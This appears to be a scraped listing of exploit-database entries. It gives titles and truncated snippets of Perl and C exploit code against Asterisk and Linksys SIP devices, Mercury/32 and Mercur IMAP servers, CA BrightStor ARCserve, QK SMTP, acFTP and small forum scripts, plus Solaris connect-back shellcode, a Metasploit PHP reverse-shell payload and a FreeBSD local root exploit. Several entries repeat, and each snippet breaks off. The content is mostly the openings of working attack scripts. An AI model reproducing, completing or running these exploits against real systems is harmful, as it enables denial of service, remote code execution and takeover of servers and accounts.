Linksys SPA941 - \377 Character Remote Denial of Service

Linksys SPA941 - \377 Character Remote Denial of Service !/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\377\r Via: SIP/2.0/UDP...

Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 dst dport dusername src sport susername" unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp',...

Asterisk 1.2.161.4.1 - SIP INVITE Remote Denial of Service

Asterisk 1.2.161.4.1 - SIP INVITE Remote Denial of Service !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 " unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg="INVITE...

Asterisk 1.2.16/1.4.1 - SIP INVITE Remote Denial of Service

!/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 " unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg="INVITE sip:$ARGV2@$ARGV0:$ARGV1 SIP/2.0\r\nVia: SIP/2.0/UDP...

Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 dst dport dusername src sport susername" unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0;...

Mercury/32 Mail Server 4.0.1 - 'LOGIN' Remote IMAP Stack Buffer Overflow

!/usr/bin/perl https://www.securityfocus.com/bid/11775 credit to Muts for this vulnerability acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 3 print "--------------------------------------------------------------------\n"; print "Usage : mercury-4444-multi.pl -hTargetIPAddress...

solaris/sparc connect-back (with XNOR encoded session) 600 bytes

No description provided by source. / black-RXenc-con-back-SOLARIS.c MIPS This is a relitivly small 600 byte shellcode that encodes all network trafic between the exploited process and the attacker. All clear-text shell i/o is encoded using a simple NOT algo before being transmitted on the wire...

CA BrightStor ARCserve (msgeng.exe) Remote Heap Overflow Exploit 2

No description provided by source. !/usr/bin/perl original exploit by lssec.com this is a perl porting acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 3 print "--------------------------------------------------------------------\n"; print "Usage : BrightStoreARCServer-11-5-4targets....

CA BrightStor ARCserve - msgeng.exe Remote Heap Overflow (2)

CA BrightStor ARCserve - msgeng.exe Remote Heap Overflow 2 !/usr/bin/perl original exploit by lssec.com this is a perl porting acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 3 print "--------------------------------------------------------------------\n"; print "Usage :...

CA BrightStor ARCserve - 'msgeng.exe' Remote Heap Overflow (2)

!/usr/bin/perl original exploit by lssec.com this is a perl porting acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 3 print "--------------------------------------------------------------------\n"; print "Usage : BrightStoreARCServer-11-5-4targets.pl -hTargetIPAddress...

Mercur Messaging 2005 IMAP Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================= Mercur Messaging 2005 IMAP Remote Buffer Overflow Exploit ========================================================= !/bin/perl tested on win2k server SP4 English ATTENTION! If you ha...

Mercur Messaging 2005 - IMAP Remote Buffer Overflow

!/bin/perl tested on win2k server SP4 English ATTENTION! If you have an another valid account you must change the offsets this is only a poc use IO::Socket::INET; my $host = shift@ARGV; my $port = 143; my $reply; my $request; my $user = "test"; my $pass = "test"; my $nop = "\x90"x8; my $nop1 =...

CA BrightStor ARCserve Backup - Message EngineTape Engine Remote Buffer Overflow

CA BrightStor ARCserve Backup - Message EngineTape Engine Remote Buffer Overflow source: https://www.securityfocus.com/bid/22005/info Computer Associates BrightStor ARCserve Backup is affected by a remote buffer-overflow vulnerability because the application fails to perform proper bounds-checkin...

QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)

No description provided by source. !/bin/perl http://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit credit to Greg...

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow (2)

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow 2 !/bin/perl https://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit...

acFTP FTP Server 1.5 - RESTPBSZ Remote Denial of Service

acFTP FTP Server 1.5 - RESTPBSZ Remote Denial of Service acFTP 1.5 REST/PBSZ Denial of Service author: gbr mail: gabrielquadrosathotmail.com use IO::Socket; if!defined$ARGV0 print "Usage: $0 ip port\n"; exit; my $sock = new IO::Socket::INETPeerAddr = $ARGV0, PeerPort = $ARGV1, Proto = 'tcp' or di...

PHP Command, Double Reverse TCP Connection (via Perl)

Creates an interactive shell via perl This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php include...

iPrimal Forums - adminindex.php Change User Password

iPrimal Forums - adminindex.php Change User Password !perl http://ipigroup.org/downloads/forums.zip Bl0od3r Germany shoutzz to all members of dC3 crew ,matrixkiller,eddie14 special to str0ke use IO::Socket; if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort="80" or die "Error"; print $sock "POST...

Webdrivers Simple Forum - message_details.php SQL Injection

Webdrivers Simple Forum - messagedetails.php SQL Injection !perl use IO::Socket; Download:http://www.thewebdrivers.com/forum.zip By:Bl0od3r Germany = if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort=80 or die "-Error\n"; print "Connecting!\n"; print "Getting Data!\n"; print $socket "GET...

Firebird 1.0.2 FreeBSD 4.7-RELEASE Local Root Exploit

No description provided by source. / DSR-firebird.c ------------------------------- Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE This is Proof Of concept code. bash-2.05a$ ./DSR-firebird Firebird-1.0.2 Local exploit for Freebsd 4.7 by - [email protected]...